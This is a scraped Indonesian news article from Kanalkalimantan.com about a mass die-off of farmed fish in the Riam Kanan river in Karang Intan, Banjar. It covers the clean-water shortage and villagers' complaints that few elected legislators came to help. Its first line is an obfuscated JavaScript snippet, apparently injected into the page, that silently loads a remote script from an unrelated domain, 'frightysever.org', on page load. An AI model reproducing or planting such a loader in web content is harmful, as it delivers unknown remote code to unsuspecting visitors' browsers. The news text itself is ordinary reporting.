(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
MARTAPURA, Masyarakat 8 desa di Kecamatan Karang Intan yang ikannya mati hingga ribuan ton, minta pemerintah bisa berikan perhatian khusus atas kerugian pembudiya ikan keramba jala apung. Hingga Sabtu (19/10), jutaan bangkai ikan di sungai Riam Kanan tak bisa dibersihkan, warga pasrah bangkai ikan itu dibiarkan begitu saja.
Menyusul ribuan ton ikan nila dan bawal petani keramba jalan apung di wilayah Kecamatan Karang intan, Kabupaten Banjar mati. Matinya ribuan ton ikan ini diketahui karena akibat penyakit yang menyebar dan kadar oksigen dan PH air sangat rendah di sungai Riam Kanan.
Sementara kondisi sungai Riam Kanan di Kecamatan Karang Intan, Kabupaten Banjar, tercemar berat, akibat jutaan bangkai ikan yang dilarutkan ke aliran sungai berdampak pada warga yang kesulitan air bersih.
Camat Karang Intan Muhamad Ilmi mengatakan, hingga sekarang jumlah petambak yang terdampak di wilayah kecamatan ini sudah mencapai 8 desa, terdiri dari Desa Sungai Asam, Desa Sungai Alang, Desa Sunga Landas, Desa Penyambaran, Desa Lihung, Desa Karang Intan, Desa Mali-mali dan Desa Sungai Arpat.
Sementara ayoman dari anggota DPRD Banjar terpilih di Dapil tersebut mulai disorot warga, pasalnya hingga kemarin baru ada dua anggota DPRD Banjar Dapil 2, yang mendatangi dan memantau ribuan ikan yang mati tersebut.
“Memang ada dua anggota DPRD Banjar di dapil ini, yang berupaya mendatangi ke lokasi tambak maupun keramba secara langsung, padahal kemarin di dapil dua ini ada 9 anggota DPRD Banjar terpilih di tempat ini. Ya diayomi atau ducarikan solusi lah masyarakat di sini kami perlu bantuan,” aku Ahdani, warga Desa Penyambaran.
Ditambahkan mantan Pembakal Desa Penyambaran ini kendati sebelumnya dapat bantuan dari Pamsimas namun hingga kini air tidak dapat dialirkan lantaran sumber air yang digunakan untuk penyaluran air bersih masih kering. Sehingga masyarakat kesulitan untuk mendapatkan air bersih.
“Sekarang kita kesulitan mendapatkan air bersih, namun syukurnya BPBD Banjar sudah menyalurkan bantuan hingga hari ini, namun untuk petambak ini yang kasian karena sudah merugi miliaran rupiah, nah tolong juga pemerintah daerah diperhatikan,” akunya.
Berdasarkan pantau Kanalkalimantan.com
hingga Sabtu ini, ada dua anggota DPRD Banjar yang mendatangi lokasi kejadian adalah Soraya dari PAN, dan Mulkan dari PPP. (rendy)
KANALKALIMANTAN.COM, BANJARBARU - Kementerian Pendidikan Dasar dan Menengah (Kemendikdasmen) tegaskan komitmen meningkatkan kualitas sumber daya… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Musyawarah Perencanaan Pembangunan (Musrenbang) Tingkat Kecamatan Selat dalam rangka penyusunan Rencana… Read More
KANALKALIMANTAN.COM, BANJARBARU - Presiden Republik Indonesia Prabowo Subianto didampingi sejumlah Menteri Kabinet Merah Putih dan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto berkeinginan membuka banyak sekolah dan kampus. Ia memandang pendidikan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto melakukan kunjungan kerja ke Kota Banjarbaru, Provinsi Kalimantan Selatan,… Read More
KANALKALIMANTAN.COM, BANJARBARU – Kota Banjarbaru menjadi salah satu titik penting peluncuran budaya sekolah aman dan… Read More
This website uses cookies.